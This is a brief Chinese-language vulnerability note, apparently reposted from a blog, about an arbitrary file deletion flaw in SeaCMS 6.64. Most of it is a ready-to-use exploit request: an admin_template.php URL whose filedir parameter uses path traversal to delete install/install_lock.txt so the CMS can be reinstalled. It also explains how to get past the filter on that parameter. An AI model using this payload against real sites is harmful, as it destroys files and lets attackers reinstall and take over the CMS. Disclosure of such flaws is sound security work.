seacms 任意文件删除

http://172.16.173.242/seacms6.64/upload/admin/admin_template.php?action=del&filedir=../templets/../install/install_lock.txt

可以控制filedir参数进行任意文件删除

删除 install/install_lock.txt文件，然后可以重装seacms

分析代码：

filedir参数必须以../template开头

原文：http://blog.51cto.com/13770310/2177226